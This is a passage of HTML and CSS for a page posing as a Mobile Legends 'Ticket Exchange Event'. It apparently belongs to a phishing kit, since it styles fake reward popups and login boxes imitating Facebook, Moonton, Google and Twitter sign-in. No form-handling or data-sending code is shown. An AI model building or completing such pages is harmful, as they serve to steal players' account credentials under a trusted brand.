<html lang="en">
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Mobile Legends: Bang Bang</title>
    <meta property="og:description" content="Mobile Legends: Ticket Exchange Event - 10th Anniversary">
    <meta property="og:image" content="https://i.postimg.cc/jdq9pLMZ/navbar-logo.jpg">
    <meta property="og:image:width" content="540">
    <meta property="og:image:height" content="282">
    <link href="./index_files/css" rel="stylesheet">
    <link rel="stylesheet" href="css-zone/google.css">
    <link rel="stylesheet" href="css-zone/moonton.css">
    <link rel="stylesheet" href="css-zone/facebook.css">
    <link rel="stylesheet" href="css-zone/animate.css">
    <link rel="stylesheet" href="css-zone/style-zone.css">
    <link rel="stylesheet" href="css-zone/style2.css">
    <link rel="stylesheet" href="css-zone/zero-zone.css">
    <link href="https://fonts.googleapis.com/css2?family=Teko&display=swap" rel="stylesheet">
    <link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/material-design-iconic-font/2.2.0/css/material-design-iconic-font.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css">
    <link rel="icon" type="img/png" href="img/style-img/icon_2.webp" sizes="32x32">
  </head>
  <body oncontextmenu="return true" onselectstart="return false" ondragstart="return false">
    <style type="text/css">
    p{
      font-weight: bold;
      font-size: 17px;
    }
      @charset "utf-8";
      @import url("https://fonts.googleapis.com/css?family=Roboto:300,400,500,700|Teko:300,400,500");
      *,
      *:before,
      *:after {
      -webkit-box-sizing: border-box;
      -moz-box-sizing: border-box;
      box-sizing: border-box;
      }
      @font-face {
      font-family: 'laza';
      font-style: normal;
      font-weight: 700;
      src:
      url(fonts/laza.woff2) format("woff2"),
      url(fonts/laza.woff) format("woff"),
      url(fonts/laza.ttf) format("truetype");
      }
      @font-face {
      font-family: 'laza2';
      font-style: normal;
      font-weight: 700;
      src:
      url(fonts/laza2.ttf) format("truetype")
      }
      @font-face {
      font-family: 'laza';
      font-style: normal;
      src:
      url(fonts/laza-latin.otf) format("opentype");
      }
      @font-face {
      font-family: 'laza4';
      font-style: normal;
      src:
      url(fonts/laza-extrabold.otf) format("opentype");
      }
      .laz-container {
      background: url(img/lazback.jpg) no-repeat center;
      background-size: 100% 100%;
      margin-top: 0px;
      padding: 5px;
      width: 100%;
      margin-left: 0px;
      margin-right: 0px;
      height: 480px;
      position: relative;
      }
      .gallery-container {
      background-size: 100% 100%;
      margin-top: -2px;
      width: 100%;
      height: auto;
      border: 0px solid #fff;
      float: left;
      }
      .container-box {
      background-size: 100% 100%;
      width: 100%;
      height: 690px;
      }
      .landing {
      background: url(img/landing.jpg) no-repeat center center;
      background-size: cover;
      width: 100%;
      height: auto;
      }
      .navbar {
      background: #0C0C0C;
      width: 100%;
      height: 65px;
      }
      .navbar-logo {
      width: 117px;
      float: left;
      margin-top: 10px;
      margin-left: 11px;
      }
      .navbar-shop {
      width: 25px;
      margin-top: 19px;
      margin-right: 20px;
      }
      .navbar-language {
      width: 25px;
      margin-top: 19px;
      margin-right: 20px;
      }
      .navbar-menu {
      width: 20px;
      margin-top: 19px;
      margin-right: 5px;
      }
      .navbar-right {
      width: auto;
      float: right;
      }
      .navbar-download {
      background: #ffca13;
      width: 46px;
      height: 45px;
      margin-top: 10px;
      margin-right: 10px;
      border-radius: 7px;
      float: right;
      }
      .navbar-download img {
      width: 20px;
      height: 21px;
      margin: 13px;
      }
      .header {
      width: 100%;
      height: auto;
      }
      .header img {
      width: 100%;
      height: auto;
      margin-top: -0px;
      }
      .balance2 {
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 7px;
      padding: 5px;
      display: block;
      }
      .balance2 img {
      width: 100px;
      margin-top: -10px;
      margin-right: 5px;
      float: center;
      }
      .balance2-nom {
      color: #fff;
      font-size: 18px;
      padding-top: 8px;
      font-family: laza;
      font-weight: 500;
      text-align: left;
      text-shadow: 0 1px 0 #000;
      }
      .balance2-detail {
      width: auto;
      height: auto;
      padding-top: 2px;
      padding-left: 5px;
      padding-bottom: 0px;
      color: #fff;
      font-size: 15px;
      font-family: laza;
      text-align: center;
      text-shadow: 0 1px 0 #000;
      border-left: 3px solid #9FE9F7;
      line-height: 15px;
      float: left;
      }
      .balance2 button {
      background-size: 100% 100%;
      width: 30%;
      height: auto;
      margin-top: -75px;
      margin-right: 10px;
      padding: 5px;
      color: #000;
      font-size: 14px;
      font-family: laza;
      text-align: center;
      border: none;
      outline: none;
      position: relative;
      float: right;
      }
      .balance {
      background: url(img/lazabz.png) no-repeat center center;
      background-size: 100% 100%;
      width: 73%;
      height: 71px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: -9px;
      padding: 5px;
      border-top: 0px solid #70FFB2;
      border-left: 0px solid #70FFB2;
      border-right: 0px solid #70FFB2;
      border-bottom: 0px solid #70FFB2;
      display: block;
      }
      .balance img {
      width: 57px;
      border-top: 0px solid #1E90FF;
      border-left: 0px solid #1E90FF;
      border-right: 0px solid #1E90FF;
      border-bottom: 0px solid #1E90FF;
      margin-top: -1px;
      margin-right: 5px;
      float: left;
      }
      .balance-nom {
      color: #fff;
      font-size: 14px;
      padding-top: 13px;
      padding-bottom: 4px;
      font-family: laza;
      /* font-weight: 500; */
      text-align: left;
      /* text-shadow:0 1px 0 #000; */
      }
      .balance-detail {
      background: url(img/bg-det.png) no-repeat center center;
      background-size: 100% 100%;
      width: auto;
      height: auto;
      padding-top: 1px;
      padding-left: 5px;
      padding-right: 8px;
      padding-bottom: 3px;
      color: #fff;
      font-size: 13px;
      font-family: 'laza';
      text-align: center;
      text-shadow: 0 1px 0 #000;
      border-left: 3px solid #FAB203;
      line-height: 15px;
      float: left;
      }
      .balance-detail2 {
      background: url(img/bg-det2.png) no-repeat center center;
      background-size: 100% 100%;
      width: auto;
      height: auto;
      padding-top: 2px;
      padding-left: 5px;
      padding-right: 8px;
      padding-bottom: 3px;
      color: #fff;
      font-size: 14px;
      font-family: 'laza';
      text-align: center;
      text-shadow: 0 1px 0 #000;
      border-left: 3px solid #b70303;
      line-height: 15px;
      float: left;
      }
      .balance-detail3 {
      background: url(img/bg-det3.png) no-repeat center center;
      background-size: 100% 100%;
      width: auto;
      height: auto;
      padding-top: 2px;
      padding-left: 5px;
      padding-right: 8px;
      padding-bottom: 3px;
      color: #fff;
      font-size: 14px;
      font-family: laza;
      text-align: center;
      text-shadow: 0 1px 0 #000;
      border-left: 3px solid #a30889eb;
      line-height: 15px;
      float: left;
      }
      .balance button {
      background: url(img/lazbutton.png) no-repeat center center;
      background-size: 100% 100%;
      width: 30%;
      height: 33px;
      margin-top: -14px;
      margin-right: 0px;
      padding: 5px;
      padding-right: 21px;
      color: #000000;
      font-size: 17px;
      font-family: 'laza';
      font-weight: 500;
      text-align: right;
      text-shadow: 0 3px 0 #ffffff;
      border: none;
      outline: none;
      position: relative;
      float: right;
      animation: pulse .900s infinite alternate;
      animation-play-state: running;
      }
      .header video {
      width: 100%;
      border: none;
      }
      .slideshow-container {
      max-width: 1000px;
      position: relative;
      margin: auto;
      border-top: 1px solid #ECD954;
      border-bottom: 1px solid #ECD954;
      }
      .fade {
      -webkit-animation-name: fade;
      -webkit-animation-duration: 1.5s;
      animation-name: fade;
      animation-duration: 1.5s;
      }
      .notiftwitter {
      width: 30%;
      height: 30px;
      margin-left: 35%;
      margin-right: auto;
      padding: 5px;
      font-size: 22px;
      font-family: Teko;
      font-weight: 500;
      text-align: center;
      color: #ECD954;
      margin-bottom: 0px;
      border: none;
      position: relative;
      outline: none;
      display: block;
      }
      .season-logo {
      width: 20%;
      margin: 15px;
      float: left;
      }
      .season-logos {
      width: 40%;
      margin: 5px;
      float: right;
      }
      .season-slogan {
      width: 100%;
      margin-top: 100%;
      margin-left: auto;
      margin-right: auto;
      display: block;
      }
      .season-btn {
      background: url(img/yes_laza.png) no-repeat center;
      background-size: 100% 100%;
      width: auto;
      height: auto;
      margin-left: auto;
      margin-right: auto;
      padding: 10px;
      padding-left: 30px;
      padding-right: 30px;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      color: #000;
      margin-bottom: 3px;
      border: none;
      position: relative;
      outline: none;
      display: block;
      }
      .season-btn:hover {
      background: url(img/menu_on.png) no-repeat center;
      background-size: 100% 100%;
      color: #000;
      transition: 0.5s;
      }
      .subject-event {
      font-style: oblique;
      margin-top: -70px;
      margin-left: 35px;
      color: #ffffff;
      text-shadow: 3px 3px 3px #000000;
      font-family: arial;
      font-weight: 600;
      font-size: 33px;
      position: absolute;
      }
      .event-title {
      background: url(img/slogan2.png) no-repeat center center;
      background-size: 100% 100%;
      width: 100%;
      height: 6px;
      margin-top: -6px;
      margin-left: -5px;
      display: block;
      position: absolute;
      }
      .event-title2 {
      background: url(img/slogan2.png) no-repeat center center;
      background-size: 100% 100%;
      width: 100%;
      height: 6px;
      margin-top: 470px;
      margin-left: -5px;
      display: block;
      position: absolute;
      }
      .event-notification {
      background-size: auto;
      background-size: 94% 100%;
      width: 85%;
      height: 48px;
      margin-left: auto;
      margin-right: auto;
      margin-top: -2px;
      margin-bottom: -82px;
      display: block;
      }
      .event-notification-text {
      padding-top: 10px;
      padding-left: 59px;
      color: #dbff85;
      font-size: 16px;
      font-family: Teko;
      font-weight: 550;
      text-align: left;
      float: left;
      }
      .event-notification-timer {
      padding-top: 44px;
      padding-right: 28px;
      color: #dbff85;
      font-size: 27px;
      font-family: Teko;
      font-weight: 550;
      text-align: left;
      margin-bottom: 13px;
      float: right;
      }
      .alert-wrapper {
      width: 98%;
      height: auto;
      border: none;
      margin-left: 10px;
      display: block;
      margin: 10px auto;
      margin-top: -31px;
      margin-bottom: -17px;
      }
      .alert {
      background-size: auto;
      background-size: 100% 100%;
      width: 91%;
      height: 62px;
      margin-top: 29px;
      margin-bottom: 18px;
      padding: 14px;
      margin-left: 5px;
      margin-right: 100px;
      color: #fff;
      border: none;
      }
      .alert2 {
      background-size: auto;
      background-size: 78% 80%;
      width: 91%;
      height: 62px;
      margin-top: 29px;
      margin-bottom: 18px;
      padding: 14px;
      margin-left: 16px;
      margin-right: 100px;
      color: #fff;
      border: none;
      }
      .alert-text {
      margin-top: -330px;
      margin-left: -6px;
      padding: 7px;
      color: #ffffff;
      text-align: center;
      font-size: 14px;
      font-family: laza;
      border: none;
      }
      .alert-text-mid {
      margin-top: 1px;
      padding: 7px;
      color: #f1f1f0;
      text-align: center;
      font: 25px;
      font-family: laza;
      border: none;
      margin-right: -2px;
      font-size: 19px;
      }
      .loadkin {
      width: 100%;
      height: 100%;
      position: fixed;
      top: 0;
      left: 0;
      z-index: 9999;
      background: #000;
      }
      .loadkin-box {
      position: relative;
      margin: 50px auto;
      text-align: center;
      height: 43px;
      font-size: 20px;
      padding: 5px;
      padding-bottom: 5px;
      margin-top: 70%;
      }
      .loadkin-box img {
      width: 70px;
      height: 85px;
      margin-bottom: 10px;
      }
      .loadkin-box i {
      padding-top: 15px;
      padding-bottom: 15px;
      color: #fff;
      font-size: 20px;
      float: center;
      font-family: arial, sans-serif;
      text-align: center;
      }
      .popup {
      width: 100%;
      height: 100%;
      position: fixed;
      top: 0;
      left: 0;
      z-index: 9999;
      background-color: rgba(0, 0, 0, 0.4);
      }
      .popup-box-wrapper {
      width: auto;
      height: auto;
      position: relative;
      margin: 50px auto;
      margin-top: 15%;
      text-align: center;
      font-family: 'laza';
      color: #fff;
      }
      .popup-box-wrapperz {
      width: 390px;
      height: auto;
      position: relative;
      margin: 50px auto;
      margin-top: 15%;
      text-align: center;
      font-family: 'laza';
      color: #fff;
      }
      .popup-box-navbar {
      background: url(img/popup-navbar2.png) no-repeat center center;
      background-size: 100% 100%;
      height: 43px;
      padding-bottom: 5px;
      }
      .popup-box-navbar img {
      width: 25px;
      height: 25px;
      margin-top: 7px;
      margin-right: 15px;
      float: right;
      }
      .popup-box-navbar-title {	
      padding-top: 9px;
      padding-left: 0px;
      padding-bottom: 2px;
      font-size: 18px;
      font-family: laza;
      font-weight: 300;
      text-align: center;
      color: #e5e5e5;
      }
      .popup-box-navbarz {
      background: url(img/popup-navbar2.png) no-repeat center center;
      background-size: 100% 100%;
      height: 43px;
      padding-bottom: 5px;
      }
      .popup-box-navbarz img {
      width: 50px;
      height: 50px;
      margin-top: 7px;
      margin-right: 15px;
      float: right;
      }
      .popup-box-navbarz-title {
      padding-top: 9px;
      padding-bottom: 2px;
      font-size: 20px;
      font-family: laza;
      font-weight: 300;
      text-align: center;
      color: #fff;
      }
      .popup-box-navbar-lz {
      background: url(img/popup-navbar2.png) no-repeat center center;
      background-size: 100% 100%;
      height: 56px;
      padding-bottom: 5px;
      }
      .popup-box-navbar-lz img {
      width: 20px;
      height: auto;
      margin-top: 7px;
      margin-right: 15px;
      float: right;
      }
      .popup-box-navbar-lz-title {
      padding-top: 16px;
      padding-bottom: 2px;
      padding-left: 14px;
      font-size: 17px;
      font-family: 'laza';
      font-weight: 900;
      text-align: center;
      color: #ffffff;
      }
      .popup-box-bg {
      background: url(img/popup-box-bg2.png) no-repeat center center;
      background-size: 100% 100%;
      width: 400px;
      }
      .popup-box-bgz {
      background: url(img/popup-box-bg2.png) no-repeat center center;
      background-size: 100% 100%;
      width: 100%;
      margin-top: -12px;
      margin-left: 0px;
      }
      .popup-box-lz {
      background: url(img/popup-box-bg2.png) no-repeat center center;
      background-size: 100% 100%;
      width: 100%;
      margin-top: -12px;
      margin-left: 0px;
      }
      .popup-box-bgx {
      background: url(img/popup-box-bg2.png) no-repeat center center;
      background-size: 100% 100%;
      width: 100%;
      margin-top: 0px;
      margin-left: 0px;
      font-size: 18px;
      padding-bottom: auto;
      padding-top: 30px;
      }
      .loginpop {
      background: url(img/lazlogin.png) no-repeat center center;
      background-size: 100% 100%;
      width: 400px;
      height: 200px;
      margin: 50px auto;
      text-align: center;
      margin-top: 300px;
      }
      .popup-box-gamecon {
      width: 52%;
      height: 65px;
      margin-left: auto;
      margin-right: auto;
      margin-top: 12px;
      display: block;
      }
      .popup-box-alert {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 5px;
      color: #AAAAAA;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: left;
      display: block;
      }
      .popup-box-alert2 {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 5px;
      color: #AAAAAA;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: left;
      display: block;
      }
      .popup-box-alert0 {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 5px;
      color: #AAAAAA;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: right;
      display: block;
      }
      .popup-box-alert3 {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 5px;
      color: #c7c7c7;
      font-size: 15px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      /* font-style: italic; */
      display: block;
      }
      .popup-box-alert7 {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 5px;
      color: #F5EAB0;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .popup-box-alertsz {
      width: 95%;
      height: auto;
      margin-top: 26px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: -94px;
      padding: 55px;
      color: #fdffff;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .popup-box-alert-lz {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 2px;
      padding: 18px;
      color: #cdcdcd;
      font-size: 14px;
      font-family: 'laza';
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .popup-box-alert4 {
      width: 95%;
      height: auto;
      margin-top: 2px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 2px;
      padding: 12px;
      color: #b5b5b5;
      font-size: 16px;
      font-family: laza;
      font-weight: 500;
      text-align: center;
      display: block;
      }
      .popup-box-alert4 i {
      padding-top: 15px;
      padding-bottom: 15px;
      color: #AAAAAA;
      font-size: 50px;
      text-align: center;
      }
      .popup-box-alert-login {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 15px;
      padding: 6px;
      color: #AAAAAA;
      font-size: 14px;
      font-family: arial;
      font-weight: 200;
      text-align: center;
      display: block;
      }
      .popup-box-alert-login i {
      padding-top: 15px;
      padding-bottom: 15px;
      color: #AAAAAA;
      font-size: 50px;
      text-align: center;
      }
      .line {
      width: 235%;
      height: auto;
      margin-left: 87px;
      margin-top: -85px;
      padding-top: 25px;
      padding-bottom: 20px;
      border-bottom: 1px solid #ffffff9e;
      display: block;
      }
      .popup-box-item {
      width: 16%;
      height: 67px;
      margin-top: 38px;
      margin-left: auto;
      margin-right: auto;
      text-align: right;
      display: block;
      }
      .popup-box-item img {
      width: 100%;
      height: 100%;
      }
      .popup-box-item span {
      background-size: 56% 100%;
      width: auto;
      color: #fff;
      font-size: 13px;
      font-family: laza;
      text-align: right;
      position: absolute;
      top: 57px;
      right: 4px;
      }
      .popup-box-item rw {
      background-size: 56% 100%;
      width: 255%;
      color: #f5ecd4;
      font-size: 13px;
      font-family: laza;
      float: right;
      text-align: left;
      position: absolute;
      top: 18px;
      right: -197px;
      }
      .popup-box-item pr {
      background-size: 56% 100%;
      width: 229%;
      color: #c9c9c9;
      font-size: 13px;
      font-family: laza;
      float: right;
      text-align: left;
      position: absolute;
      top: 41px;
      right: -256px;
      }
      .popup-box-item prs {
      background-size: 56% 100%;
      width: 229%;
      color: #fd2121;
      font-size: 13px;
      font-family: laza;
      float: right;
      text-align: left;
      position: absolute;
      top: 41px;
      right: -256px;
      text-decoration: line-through;
      }
      .popup-box-alert-price {
      background-size: 56% 100%;
      width: auto;
      color: #fff;
      font-size: 13px;
      font-family: laza;
      float: right;
      position: absolute;
      top: 41px;
      right: -46px;
      }
      .popup-box-form {
      width: 85%;
      height: auto;
      margin-left: auto;
      margin-right: auto;
      display: block;
      }
      .popup-box-form label {
      display: inline-block;
      width: 140px;
      text-align: right;
      color: yellow;
      }
      .popup-box-form input, #verification_code {
      background: #1a1b1c;
      background-size: 100% 100%;
      width: 94%;
      height: 35px;
      margin-bottom: 3px;
      padding: 4px;
      padding-left: 10px;
      color: #c3c3c3;
      font-size: 13px;
      font-family: laza;
      font-weight: 300;
      border: 1px solid #8f8f8f;
      position: relative;
      outline: none;
      -webkit-appearance: none;
      -moz-appearance: none;
      }
      .popup-box-form input::placeholder, #verification_code::placeholder {
      color: #FFFBF7;
      }
      .popup-box-form select {
      background: #1a1b1c;
      background-size: 100% 100%;
      width: 94%;
      height: 35px;
      margin-bottom: 3px;
      padding: 4px;
      padding-left: 10px;
      color: #c3c3c3;
      font-size: 13px;
      font-family: laza;
      font-weight: 300;
      border: 1px solid #8f8f8f;
      position: relative;
      outline: none;
      -webkit-appearance: none;
      -moz-appearance: none;
      }
      .popup-box-footer {
      background-size: 100% 100%;
      margin-top: 20px;
      width: 100%;
      height: 45px;
      }
      .popup-box-footer-lz {
      background-size: 100% 100%;
      margin-top: 29px;
      width: 100%;
      height: 45px;
      }
      .popup-box-footer-lz button {
      background: url(img/yes_laza.png) no-repeat center;
      background-size: 100% 100%;
      width: auto;
      height: auto;
      margin-top: -23px;
      padding: 0px;
      padding-left: 35px;
      padding-right: 35px;
      color: #ffffff;
      font-size: 16px;
      font-family: 'arial';
      font-weight: 500;
      margin-left: auto;
      margin-right: auto;
      text-align: center;
      border: none;
      outline: none;
      }
      .popup-box-footer button {
      background: url(img/yes_laza.png) no-repeat center;
      background-size: 100% 100%;
      width: auto;
      height: auto;
      margin-top: -23px;
      padding: 5px;
      padding-left: 35px;
      padding-right: 35px;
      color: #cdbdbd;
      font-size: 18px;
      font-family: laza;
      font-weight: 500;
      margin-left: auto;
      margin-right: auto;
      text-align: center;
      border: none;
      outline: none;
      }
      .popup-box-form-footer {
      background-size: 100% 100%;
      width: 100%;
      height: 45px;
      margin-top: 20px;
      }
      .popup-box-form-footer button {
      background: url(img/yes_laza.png) no-repeat center;
      background-size: 100% 100%;
      width: auto;
      height: auto;
      margin-top: 5px;
      padding: 4px;
      padding-left: 30px;
      padding-right: 30px;
      color: #000;
      font-size: 18px;
      font-family: laza;
      font-weight: 700;
      text-align: center;
      border: none;
      outline: none;
      }
      .popup-box-navbar-login {
      background: url(img/popup-navbar1.png) center center/100% 100% no-repeat;
      height: auto;
      padding-top: 5px;
      padding-bottom: 1px
      }
      .popup-box-navbar-login-title {
      padding-left: 24px;
      padding-top: 2px;
      color: #defbff;
      font-size: 22px;
      font-family: laza;
      font-weight: 500;
      text-align: center
      }
      .popup-box-bg-login {
      background: url(img/popup-box-bg-login.png) center center/100% 100% no-repeat;
      width: 100%;
      height: 255px;
      margin-top: -10px
      }
      .popup-box-bg-login-load {
      background: url(img/lazlogin.png) no-repeat center center;
      background-size: 100% 100%;
      margin-left: -20px;
      width: 400px;
      height: 200px;
      margin-top: -10px;
      }
      .load-login-img {
      width: 30%;
      height: auto;
      margin-top: 30px;
      margin-bottom: 5px
      }
      .load-login-gif {
      width: 15%;
      height: auto;
      margin-bottom: 0
      }
      .popup-btn-login {
      width: 57%;
      height: 40px;
      padding-top: 6px;
      /* padding: 0px; */
      padding-left: 8px;
      margin-bottom: 10px;
      margin: 5px;
      color: #000;
      font-size: 14px;
      font-family: arial;
      border: none;
      border-top-left-radius: 3px;
      border-top-right-radius: 3px;
      border-bottom-right-radius: 3px;
      border-bottom-left-radius: 3px;
      outline: none;
      margin-bottom: 45px;
      position: relative;
      }
      .popup-btn-login i {
      color: #fff;
      font-size: 14px;
      padding: 1px;
      float: left;
      }
      .rewardpop {
      background: url(img/lazlogin.png) no-repeat center center;
      background-size: 100% 100%;
      width: 361px;
      height: 240px;
      margin: 50px auto;
      text-align: center;
      margin-top: 300px;
      }
      .popup-btn-facebook {
      background: url(img/btnlg.png);
      background-size: 100% 100%;
      color: #fff;
      margin-bottom: 2px;
      }
      .popup-btn-moonton {
      background: url(img/btnlg.png);
      background-size: 100% 100%;
      color: #fff;
      margin-bottom: 2px;
      }
      .popup-btn-google {
      background: url(img/btnlg.png);
      background-size: 100% 100%;
      color: #fff;
      margin-bottom: 2px;
      }
      .popup-btn-login img {
      width: 20px;
      margin-top: 1px;
      float: left;
      }
      .popup-btn-login-link {
      background: #E3B448;
      color: #000;
      }
      .popup-btn-login-link img {
      width: 22px;
      height: 22px;
      margin-top: -2px;
      color: #fff;
      font-size: 20px;
      float: left;
      }
      .popup-login {
      background: rgba(0, 0, 0, 0.4);
      width: 100%;
      height: 100%;
      position: fixed;
      top: 0;
      left: 0;
      z-index: 9999;
      }
      .popup-box-login-fb {
      background: #ECEFF6;
      max-width: 330px;
      height: auto;
      position: relative;
      margin: 50px auto;
      margin-top: 1.9%;
      text-align: center;
      font-family: 'Teko';
      color: #000;
      border-radius: 10px;
      }
      .popup-box-login-moonton {
      background: -webkit-linear-gradient(top, rgb(20 31 47) 0%, rgb(79 119 163) 100%);
      max-width: 330px;
      height: auto;
      position: relative;
      margin: 50px auto;
      margin-top: 10%;
      text-align: center;
      font-family: 'Teko';
      color: #000;
      border-radius: 1px;
      }
      .popup-box-login-twitter {
      background: #fff;
      max-width: 330px;
      height: auto;
      position: relative;
      margin: 50px auto;
      margin-top: 10%;
      text-align: center;
      font-family: 'Teko';
      color: #000;
      border-radius: 5px;
      }
      .popup-box-login-google {
      background:#fff;
      max-width:330px;
      height:auto;
      position:relative;
      margin:50px auto;
      margin-top:36%;
      text-align:center;
      font-family: 'Open Sans', sans-serif;
      color:#000;
      border-radius:5px;
      }
      .close-fb {
      background: #3b5998;
      width: 25px;
      height: 25px;
      color: #fff;
      font-size: 20px;
      text-align: center;
      text-decoration: none;
      border-radius: 50%;
      top: -10px;
      right: -10px;
      position: absolute;
      display: block;
      }
      .close-fb i {
      padding-top: 3px;
      }
      .close-other {
      background: #fff;
      width: 25px;
      height: 25px;
      color: #000;
      font-size: 20px;
      text-align: center;
      border-radius: 50%;
      top: -12px;
      right: -12px;
      position: absolute;
      z-index: 9999999;
      display: block;
      }
      .close-other i {
      color: #20px;
      padding-top: 3px;
      }
      .popups {
      width: 100%;
      height: 100%;
      position: fixed;
      top: 0;
      left: 0;
      z-index: 9999;
      background-color: rgba(0, 0, 0, 0.4);
      }
      .popup-box-navbar-ignis-title {
      padding-top: 21px;
      padding-bottom: 2px;
      font-size: 20px;
      font-family: 'laza';
      font-weight: 500;
      text-align: center;
      padding-right: 0;
      color: #ffffffcf;
      }
      .popup-box-navbar-loginz {
      padding-top: 6px;
      padding-bottom: 2px;
      font-size: 20px;
      font-family: 'laza';
      font-weight: 500;
      text-align: center;
      padding-right: 0;
      color: #ffffffcf;
      }
      .popup-box-wrappers {
      width: 390px;
      height: auto;
      position: relative;
      margin: 50px auto;
      margin-top: 15%;
      text-align: left;
      font-family: 'laza';
      color: #fff;
      }
      .popup-box-navbars {
      background: url(img/popup-navbar2.png) no-repeat center center;
      background-size: 100% 100%;
      height: 43px;
      padding-bottom: 5px;
      }
      .popup-box-navbars img {
      width: 20px;
      height: 20px;
      margin-top: 15px;
      margin-right: 18px;
      float: right;
      }
      .popup-box-navbars-title {
      padding-left: 40px;
      padding-top: 14px;
      padding-bottom: 2px;
      font-size: 20px;
      color: #fff;
      font-family: laza;
      font-weight: 300;
      text-align: center;
      }
      .kagetk {
      background: rgba(0, 0, 0, 0.2);
      background-size: 50% 50%;
      width: 80%;
      height: auto;
      margin-left: auto;
      margin-right: auto;
      border: 1px solid #fff;
      display: none;
      padding: 10px;
      color: #fff;
      font-size: 14px;
      font-family: laza;
      text-align: center;
      }
      .popup-box-bgs {
      background: url(img/popup-box-bg2.png) no-repeat center center;
      background-size: 100% 100%;
      width: 100%;
      height: 200px;
      margin-top: -12px;
      }
      .popup-box-alerts4 {
      width: 95%;
      height: auto;
      margin-top: 10px;
      margin-left: auto;
      margin-right: auto;
      margin-bottom: 10px;
      padding: 5px;
      color: #fff;
      font-size: 20px;
      font-family: laza;
      font-weight: 500;
      text-align: left;
      display: block;
      }
      .popup-box-alerts4 i {
      padding-top: 15px;
      padding-bottom: 15px;
      color: #F5EAB0;
      font-size: 50px;
      text-align: left;
      }
      .popup-box-formx label {
      width: 70%;
      text-align: left;
      padding-left: 20px;
      color: #B7B7B7;
      text-shadow: none;
      font-size: 17px;
      }
      .popup-box-formx input {
      background: #001;
      width: 85%;
      height: 35px;
      margin-bottom: 8px;
      margin-left: 20px;
      padding-right: 4px;
      padding: 4px;
      color: #fff;
      font-size: 15px;
      font-family: laza;
      font-weight: 500;
      border: 0.1px solid #fff;
      outline: none;
      position: left;
      -webkit-appearance: none;
      -moz-appearance: none;
      }
      .popup-box-formx input::placeholder {
      color: #BCCBCE;
      }
      .popup-box-formx-footer {
      background-size: 100% 100%;
      width: 100%;
      height: 45px;
      margin-top: 20px;
      }
      .loadinglogin {
      width: 100%;
      height: auto;
      }
      .loadinglogin video {
      width: 400px;
      height: auto;
      }
      .box {
      width: 100%;
      height: 410px;
      margin-left: auto;
      margin-right: auto;
      margin-top: -30px;
      margin-bottom: -25px;
      border: 0px solid #FFFAC9;
      border-radius: 5px;
      position: relative;
      display: block;
      }
      .box-item {
      width: 100%;
      margin-left: auto;
      margin-right: auto;
      padding-top: 2px;
      }
      .btn-wrapper {
      width: 93%;
      height: 50px;
      margin-top: 3px;
      margin-right: 3px;
      font-family: laza;
      }
      .btn-wrapper button {
      background: url(img/tombol.png) no-repeat center;
      background-size: 100% 100%;
      width: 38%;
      height: 40px;
      margin: -10px;
      padding: 10px;
      color: #FFFAC9;
      font-family: laza;
      font-size: 18px;
      font-weight: 500;
      text-align: center;
      border: none;
      outline: none;
      float: right;
      display: inline-block;
      }
      .footer {
      background: -webkit-linear-gradient(top, rgb(255 255 255 / 9%) 0%, rgb(0 0 0 / 11%) 100%);
      width: 100%;
      height: auto;
      padding: 15px;
      padding-top: 0px;
      padding-bottom: 18px;
      border-top: 1px solid #EF0133;
      }
      .footer-copyright-icon {
      width: 33%;
      padding-top: 27px;
      margin-left: auto;
      margin-right: auto;
      display: block;
      }
      .footer-copyright-text {	
      padding:5px;
      padding-top: 25px;
      margin-left: auto;
      margin-right: auto;	
      float: center;
      text-align: center;
      display: block;
      }
      .footer-copyright-text-left {
      color: #fff;
      font-size: 12px;
      padding:5px;
      font-family:sans-serif;
      text-align: center;
      display: inline-block;
      margin: 5px;
      border-bottom: 1px solid #fff;
      }
      .footer-copyright-text-center {
      color: #fff;
      font-size: 12px;
      padding:5px;
      font-family:sans-serif;
      text-align: center;
      display: inline-block;
      margin: 5px;
      border-bottom: 1px solid #fff;
      }
      .footer-copyright-text-right {
      color: #fff;
      font-size: 12px;
      padding:5px;
      font-family:sans-serif;
      text-align: center;
      display: inline-block;
      margin: 5px;
      }
      .footer-copyright-text-cookie {
      color: #fff;
      font-size: 14px;
      font-family:Teko;
      text-align: center;
      display: block;
      margin-top: -5px;
      }
      .footer-copyright-text-icon {	
      width:15%;
      padding:5px;
